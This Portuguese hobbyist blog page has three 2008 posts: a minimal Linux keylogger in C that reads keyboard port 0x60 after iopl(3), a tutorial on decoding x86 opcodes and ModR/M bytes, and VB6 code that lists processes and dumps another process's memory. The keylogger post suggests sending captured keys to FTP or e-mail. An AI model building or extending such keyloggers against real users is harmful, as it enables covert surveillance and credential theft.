quarta-feira, 30 de julho de 2008

Bem,
andei dando uma pesquizada em keyloggers para linux e achei programinhas interessantes.
O objetivo de um keylogger é capturar todas as teclas digitadas. Tudo isso para ter bom um monitoramente do computador.
O keylogger aqui apresentando fica "pegando" os valores que é passado na porta do teclado.
Bem a porta que o teclado utiliza é a porta 0x60, no arquivo /proc/ioports você consegue visualizar todas as portas abertas, por isso declaramos porta como 0x60.
int porta = 0x60;

Depois criamos um loop infinito para pegar todo que é passado na porta, logo em seguinda mudamos o nível de privilégio do processo atual, com a função iopl, para o nível mais alto. Com isso ganho acesso irrestrito a qualquer porta.

iopl(3);

Logo em seguinda usamos a função inb que pega o valor da largura de um byte e é colocado em c.
c = inb(porta);

Aqui apenas imprimo o valor da tecla.

printf("key=%d n", c);

Suspende a execução do processador por um determinado tempo 1 seguindo.
usleep(1000);

Esse código é apenas para efeito de estudo, poderiamos gravar todos as teclas em arquivos, e posteriormente tá enviando para um FTP ou E-mail.

O código completo.
//Teste keyloger
#include <stdio.h>
#include <sys/io.h>
int main() {
unsigned char c;
int porta = 0x60;
while(1) {
iopl(3);
c = inb(porta);
printf("key=%d n", c);
usleep(1000);
}
return(0);
}

Como podemos ver esse tipo de keylogger é algo bem simples...
Abaixo alguns links de keyloggers.

terça-feira, 22 de julho de 2008

Bem,
há um tempo atráz fiquei imaginando como uma instrução em assembly é transformada em uma instrução em hex. Depois de algumas pesquisas percebi que todas as intruções, opCodes, tem um número. Depois da tabela dos opCodes veio outra dúvida como é passado os parâmetros em uma instrução Mov Al, 0x20, como sabem os parâmetros e valores que será passado para a instrução. E para instruções do tipo Mov [Edx], Cl, ou então para
Add [Ecx+Ebx*4+439BCE28], Cl, ai que a coisa começa ficar elegante. E é justamente isso que será visto nesse tutorial.

Abaixo está a tabela onde verificamos qual é o valor em hex de uma instrução.
Bem para encontrar como por exemplo o que qual é a instrução do número 0x46 o primeiro dígito(high digit) quer dizer a linha e o segundo digito(low digit) a coluna, que seria a instrução INC SI.

Por exemplo a instrução NOP é 90.
O high digit é o 9 e o low digit é o 0.
A instrução Inc Di o seu valor é 47.
O high digit é o 4 e o low digit é o 7.

Agora para saber mais sobre as intruções aqui você encontra mais informações.


Bem encontramos várias letras com b, w, r/m, i, t, etc. Abaixo a legenda de cada uma.
b = Byte-Operand
w = Word-Operand
f = from CPU-Register
t = to CPU-Register
m = memory
r/m = Register/Memory
sr = Segmentregister
d = direct
si = short intrasegment
i = immediate
ia = immediate accu
d = direct addressing
id = indirect addressing
is = immediate byte sign-extended
v = variable (IO-addr, in DX or shift-count in CL)
d8 = direkte 8-Bit-Adresse(I/O)
nr = near(16 - 64K)
fr = far (32 bit - 1M)
Bem vamos começar a analizar do começo :P
Usando um exemplo simples, usando uma instrução Mov.
Ele movimenta dados de uma origem para um destino.

Mov destino, origem

Um exemplo de colocar um valor 30 para o registrador EAX.

Mov EAX, 30

Utilizando o opCode 88, de acordo com a tabela temos os seguintes valores.

88 - MOV (b, f, r/m)

Bem o valor 88 é um byte (b) o valor tá vindo do CPU (f) e é do registrador para memória (r/m).
Vamos analizar a instrução abaixo:

88 0a - Mov [Edx], Cl

Aqui é movimentado o valor do registrador cl para a mémoria [edx].
Como é apenas um bye temos como "parâmetro" o byte 0a. O nome desse byte é ModR/M. Esse "parâmetro" é que define para quem que vai e de onde vai(Destino e Origem).
Convertendo o 0a para binário temos 00001010, o binário é divido em 3 grupos 00 001 010.

00 - Byte Mod
001 - Reg/Opcode
010 - R/M
Para esse tipo de instrução 001 é a fonte o destino é 010. A tabela abaixo mostra os valores de cada registrador em binário.

Register Byte
Register Word
Register DWord
AL = 000
CL = 001
DL = 010
BL = 011
AH = 100
CH = 101
DH = 110
BH = 111
AX = 000
CX = 001
DX = 010
BX = 011
SP = 100
BP = 101
SI = 110
DI = 111
EAX = 000
ECX = 001
EDX = 010
EBX = 011
ESP = 100
EBP = 101
ESI = 110
EDI = 111
Como o primeiro operador é b quer dizer byte ou seja 8 bits, por isso usamos o registrador de origem de 8 byte. E o opCode nos diz que está vindo do CPU (f - From CPU) para a memória(R/M - Register/Memory).
Analizando a tabela obtemos os seguintes valores.

001 - Registrador Cl (8 bytes)
010 - Edx como é r/m [Edx]

Então analizando os opCode's 88 0a quer dizer a seguinte instrução em assembly.

Mov [Edx], Cl

Bem mais um exemplo simples.

89 03 - Mov [Ebx], Ax

De acordo com a tabela de opCode's.

89 - Mov (w, f, r/m)

Bem o valor 89 vamos mexer com word(w) o valor tá vindo do CPU (f) e é do registrador para memória (r/m).
Transformando o 03 para binário temos 00 000 100 resultando na instrução.

000 - registrador origem (Ax)
100 - registrador fonte (Bx)

Como é r/m é do registrador para memória temos.

Mov [bx], ax

O outro tipo de instrução que vamos encontrar são instruções que movimenta valore imediatamente, os chamados immediate, em cada opCode nos diz qual é o tamanho do immediate por exemplo o opCode b0.

b0 (i -> Al)

Como o registrador Al é um registrador de 8 bytes, então o valor só vai ter 8 bytes, um exemplo.

b0 6e - Mov Al, 6e

Observer que o próximo byte é passado para o registrador em questão que é especificado na tabela de opCodes.
Agora o opCode B8 trabalha com 32 bits.

b8 63 bc 38 4e - Mov Eax, 4e38bc63

A única diferença é que usamos agora 32 bits, observe que os bytes são invertidos.
Bytes da intrução:

63 bc 38 4e
<------------:

Vão ser colocados no registrador na seguinte forma:

Mov Eax, 4e38bc63

Vamos falar agora de alguns instruções um pouco diferentes como:

00 a8 8a 6e e1 58 - Add [eax+58e16e8a], Ch

De acordo com a tabela de opCodes 00 é:

Add (b, f, r/m)

O opCode trabalha com 8 bytes, de um registrador(f From CPU) para memoria(r/m Register/Memory).
a8 em binário é igual a 10101000 então:

10 - Byte Mod
101 - Registrador Origem (Ch)
000 - R/M

Bem agora vimos que o byte Mod é 10.
Abaixo uma tabela de do byte Mod para podermos encontrar os valores.
Dependendo do tamanho da instrução 16 ou 32 bit.




Para o mod igual á 10 e R/M igual á 000 temos:

[bx+si]+disp16

o deslocamento é 8a 6e e1 58 arrumando para:

58 e1 6e 8a

Agora vem a pergunta onde encontramos o Eax bem juntando o mod + R/M temos
10 000 000 transformando para hexadecimal temos 0x80 que é a coluna do registrador Eax.
Juntando tudo tempos.

Add [Eax+58e16e8a], Ch

Temos também instruções de salto como:
00280721 - ea 66 bc 38 4e 23 e2 - jmp e223:4e38bc66

De acordo com a tabela o opCode ea.

Jmp (fr, d)

O pula vai ser longo(fr) e o endereço vai ser direto(d).
Bem aqui pegamos os 16 bytes iniciais ou seja e223 é o seguimento e o restante é offset.

e223:4e38bc66


Bem a idéia principal foi passada, ainda tem algumas intruções para serem analizadas, mas o básicão é isso.
Agora alguns links uteis.

http://pdos.csail.mit.edu/6.828/2007/readings/i386/c17.htm
http://labts101.zhaw.ch/~tham/TIn1/unterlagen/opcodes.pdf
http://www.intel.com/products/processor/manuals/
http://pdos.csail.mit.edu/6.828/2006/readings/i386/s17_02.htm

Valeuw.


terça-feira, 1 de julho de 2008

Bem,
nesse tutorial vou mostrar como visualizo o conteúdo de um processo na memória.

A primeira coisa a se fazer é bem obvia é pegar a lista de todos os processos que estão rodando.
Para tal, usamos a função CreateToolhelp32Snapshot para tirar um snapshot dos processos.
Depois utilizamos Process32First para pegar o primeiro processo da lista.
E para mudar para o próximo processo usamos Process32Next.
Quando usamos Process32Frist ou Process32Next é necessário passar uma variável do tipo, PROCESSENTRY32.
Nessa a estrutura é:

Private Type PROCESSENTRY32
dwSize As Long 'Tamanho da estrutura
cntUsage As Long 'Long usado sempre é zero
th32ProcessID As Long 'Identificador do processo
th32DefaultHeapID As Long 'Long usado sempre é zero
th32ModuleID As Long 'Long usado sempre é zero
cntThreads As Long 'Numero de thread executados pelo processo
th32ParentProcessID As Long 'Identifica o process pai
pcPriClassBase As Long 'A base primária de qualquer thread criado pelo processo
dwFlags As Long 'Long usado sempre é zero
szExeFile As String * MAX_PATH 'Nome do executável
End Type

Nessa estrutura tenho várias informações sobre o meu processo.
Abaixo uma função que pega todos os processos que estão rodando.

'Pego listagem de todos os processos
Private Sub TodosProcessos()
Dim hSnapShot As Long '
Dim uProcess As PROCESSENTRY32 'Estrutura dos processos
Dim r As Long

'Limpo a lista de processo
Me.lstvProcessos.ListItems.Clear

'pega um snapshot dos processos
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0&)
uProcess.dwSize = Len(uProcess)

'Pega o primeiro processo
r = Process32First(hSnapShot, uProcess)

'Enquanto estiver tiver um processo na lista fica no loop
Do While r
'Adiciona o id do processo na lista
Me.lstvProcessos.ListItems.Add , , uProcess.th32ProcessID
'Pega o nome do processo
Me.lstvProcessos.ListItems.Item(Me.lstvProcessos.ListItems.Count).SubItems(1) = Left$(uProcess.szExeFile, IIf(InStr(1, uProcess.szExeFile, Chr$(0)) > 0, InStr(1, uProcess.szExeFile, Chr$(0)) - 1, 0))

'Termina qualquer tipo de evento
DoEvents

'Pega o próximo processo
r = Process32Next(hSnapShot, uProcess)
Loop

'Fecho o snapshot
CloseHandle hSnapShot
End Sub

Bem agora temos os processos para podermos ler alguma parte da memória devemos
pegar as regiões onde esse processo se encontra.
Para isso usamos a API VirtualQueryEx nela é necessário passar o identificador
do processo.
Um ponteiro para o endereço base.
Um variável do tipo MEMORY_BASIC_INFORMATION.
E o tamanho da estrutura de MEMORY_BASIC_INFORMATION.
Para pegar o identificado do processo usamos OpenProcess passando a constante
PROCESS_ALL_ACCESS, para ter livre acesso no processo, depois (False) diz para não herdar o handle do processo atual, depois passe a identificação do processso que deseja abrir.
Será retornado o valor do handle do process aberto.

O endereço base se inicia com 0, no loop é implementado na variável lPosMem que é a soma do endereço encontrado com o tamanho da região.

lPosMem = mbi.BaseAddress + mbi.regionSize

Bem será retornado o na variável do tipo MEMORY_BASIC_INFORMATION informações da região obtida.
A estrutura de MEMORY_BASIC_INFORMATION:

Private Type MEMORY_BASIC_INFORMATION
BaseAddress As Long 'Base do endereço de memória
AllocationBase As Long 'Contem o endereço base da memoria do processo
AllocationProtect As Long 'Mostra qual tipo de proteção utilizado
regionSize As Long 'Tamanho da região
State As Long 'Estado da Região
Protect As Long 'Tipo de proteçao
lType As Long 'Tipo de região
End Type

Para as informações State(Estado), Protect(Proteção) e lType(qual é o tipo da região).
Usamos as seguintes constantes para definir o que é cada coisa.

'State memory
Private Const MEM_COMMIT = &H1000 'Indicates committed pages for which physical storage has been allocated,
'either in memory or in the paging file on disk.

Private Const MEM_FREE = &H10000 'Indicates free pages not accessible to the calling process and available
'to be allocated. For free pages, the information in the AllocationBase,
'AllocationProtect, Protect, and Type members is undefined.

Private Const MEM_RESERVE = &H2000 'Indicates reserved pages where a range of the process's virtual address
'space is reserved without any physical storage being allocated.
'For reserved pages, the information in the Protect member is undefined.
'Type Memory
Private Const MEM_IMAGE = &H1000000 'Indicates that the memory pages within the region are mapped into the
'view of an image section.

Private Const MEM_MAPPED = &H40000 'Indicates that the memory pages within the region are mapped into the view
'of a section.

Private Const MEM_PRIVATE = &H20000 'Indicates that the memory pages within the region are private
'(that is, not shared by other processes).

'Tipo de proteção
Private Const PAGE_NOACCESS = &H1
Private Const PAGE_READONLY = &H2
Private Const PAGE_READWRITE = &H4
Private Const PAGE_WRITECOPY = &H8
Private Const PAGE_EXECUTE = &H10
Private Const PAGE_EXECUTE_READ = &H20
Private Const PAGE_EXECUTE_READWRITE = &H40
Private Const PAGE_EXECUTE_WRITECOPY = &H80

A função abaixo percorre toda a memória do processo.
Basicamente, inicia do zero depois lê o a primeira região pega o endereço da região
e soma com o tamanho da região o resultado da soma é usado como endereço base na
próxima região que será "pegada" vez que iniciar o do zero novamente.

'Pega as regiões de memoria
Private Sub RetrieveMemRegions(ByVal PID As Long)
Dim lHandle As Long 'Handle do processo
Dim lPosMem As Long 'Posição de memoria lida
Dim lRet As Long 'Parte de memoria lida
Dim lLenMBI As Long 'Tamanho da estrutura mbi
Dim mbi As MEMORY_BASIC_INFORMATION 'Informação da região de memoria
Dim si As SYSTEM_INFO 'Informação do sisteam

'initialise les tableaux
'inicializa as tabelas
ReDim lBaseAdress(0)
ReDim lRegionSize(0)

'Limpo minha lista de endereços
Me.lstvPosicoesMemoria.ListItems.Clear

'obtient le handle du processus
'obtém os handle do processo
lHandle = OpenProcess(PROCESS_ALL_ACCESS, False, PID)

lLenMBI = Len(mbi) 'tamanho da estrutura
GetSystemInfo si 'Obtém informações dos endereços de memória e da máquina

'Enquanto o endereço atual não for maior do que o maior endereço atual
Do While lPosMem < si.lpMaximumApplicationAddress
'Limpo o tamanho
mbi.regionSize = 0

'obtém as informações da memória definida pelo handle processo (hProcess)
VirtualQueryEx lHandle, ByVal lPosMem, mbi, lLenMBI

With Me.lstvPosicoesMemoria
'Adiciono o endereço de memoria int
.ListItems.Add , , mbi.BaseAddress

'Transformo o endereço para hexadecimal
.ListItems.Item(.ListItems.Count).SubItems(1) = Hex(mbi.BaseAddress)

'Pego o tamanho do região da memória
.ListItems.Item(.ListItems.Count).SubItems(2) = mbi.regionSize

'Seleciono qual é tipo de memória
Select Case mbi.lType
Case MEM_IMAGE
.ListItems.Item(.ListItems.Count).SubItems(3) = "Memory Image"

Case MEM_PRIVATE
.ListItems.Item(.ListItems.Count).SubItems(3) = "Memory Private"

Case MEM_MAPPED
.ListItems.Item(.ListItems.Count).SubItems(3) = "Memory Mapped"
End Select

'Seleciono qual é o tipo de proteção
Select Case mbi.Protect
Case PAGE_EXECUTE
.ListItems.Item(.ListItems.Count).SubItems(4) = "Executavel"

Case PAGE_EXECUTE_READ
.ListItems.Item(.ListItems.Count).SubItems(4) = "Execute+Read"

Case PAGE_EXECUTE_READWRITE
.ListItems.Item(.ListItems.Count).SubItems(4) = "Execute + Read + Write"

Case PAGE_EXECUTE_WRITECOPY
.ListItems.Item(.ListItems.Count).SubItems(4) = "Execute + WriteCopy"

Case PAGE_NOACCESS
.ListItems.Item(.ListItems.Count).SubItems(4) = "No Access"

Case PAGE_READONLY
.ListItems.Item(.ListItems.Count).SubItems(4) = "Read Only"

Case PAGE_READWRITE
.ListItems.Item(.ListItems.Count).SubItems(4) = "Read + Write"

Case PAGE_WRITECOPY
.ListItems.Item(.ListItems.Count).SubItems(4) = "Write Copy"
End Select

'Seleciono qual é o estado da memória
Select Case mbi.State
Case MEM_COMMIT
.ListItems.Item(.ListItems.Count).SubItems(5) = "Memory Commit"

Case MEM_FREE
.ListItems.Item(.ListItems.Count).SubItems(5) = "Memory Free"

Case MEM_RESERVE
.ListItems.Item(.ListItems.Count).SubItems(5) = "Memory Reserve"

End Select
End With

'Pego o posicionamento atual da memoria
lPosMem = mbi.BaseAddress + mbi.regionSize
Loop
End Sub

Bem já temos as regiões e os tamanho de cada, agora só falta ler as regiões
para isso usamos a API ReadProcessMemory novamente é necessário passar
o handle do processo, o endereço, o buffer que receberá os dados, o tamanho, o
ultimo parâmetro não sei realmente para que que serve passo como 0.
Essa API não tem muito segredo não. No caso tô lendo o endereço na memória e
colocando tudo dentro de uma string.
Abaixo o código lê uma região de memória coloca em um buffer string e pega os
char e converte para Hex.

Public Sub ReadBytesH(ByVal PID As Long, ByVal lngOffset As Long, ByVal lngRegionSize As Long)
Dim sBuf As String 'Buffer que recebe os valores da memoria
Dim lByte As Long 'Parametro ignorado em ReadProcessMemory
Dim posicaoFinal As Long 'Contém o ultimo endereço a ser lido
Dim lHandle As Long 'Contém a identificação do processo
Dim continua As Integer 'Verifica se continua
Dim lenBuffer As Integer 'Tamanho do buffer lido
Dim valoresHex As String 'Contém os valores em hex do buffer lido
Dim tmpContador As Integer 'Contador temporário(para transforma em hex)

'pego a posição final somando o endereço mais o tamanho da região
posicaoFinal = lngOffset + lngRegionSize

'Inicialização das variáveis
continua = 1
lenBuffer = 1

'obtém os handle do processo
lHandle = OpenProcess(PROCESS_ALL_ACCESS, False, PID)

'Limpo a lista de dados
Me.lstvDados.ListItems.Clear

'Cria um buffer
sBuf = String$(16, 0)

While continua <> 0
'pego os byte do endereço com um tamanho de 16
continua = ReadProcessMemory(lHandle, lngOffset, sBuf, 16, lByte)

With Me.lstvDados.ListItems
'Adiciono o endereço em int
.Add , , lngOffset

'Converto o endereço para hexadecimal
.Item(.Count).SubItems(1) = Hex(lngOffset)

'Pego o tamanho do buffer (16)
.Item(.Count).SubItems(4) = Len(sBuf)
End With

'Pego a string e retiro os caracteres chr(0)
Me.lstvDados.ListItems.Item(Me.lstvDados.ListItems.Count).SubItems(2) = Replace(sBuf, Chr(0), "")

'Inicializo o contador de string
lenBuffer = 1

While lenBuffer <= Len(sBuf)
'Pego o valor(byte) 'eu acho' em int e transformo para hex
valoresHex = valoresHex & " " & Hex(Asc(Mid(sBuf, lenBuffer, 1)))

lenBuffer = lenBuffer + 1
Wend

'Adiciono os valores em hexadecimal
Me.lstvDados.ListItems.Item(Me.lstvDados.ListItems.Count).SubItems(3) = valoresHex

'Adiciono mais 16 no endereço atual
lngOffset = lngOffset + 16

'Inicializo o buffer que contem os valores em hex
valoresHex = ""
Wend
End Sub

Bem acho que é isso abaixo tem uma aplicação que só lê as regiões e o conteúdo delas
Valeuw!

http://alucard.dxs.googlepages.com/MemoryView.zip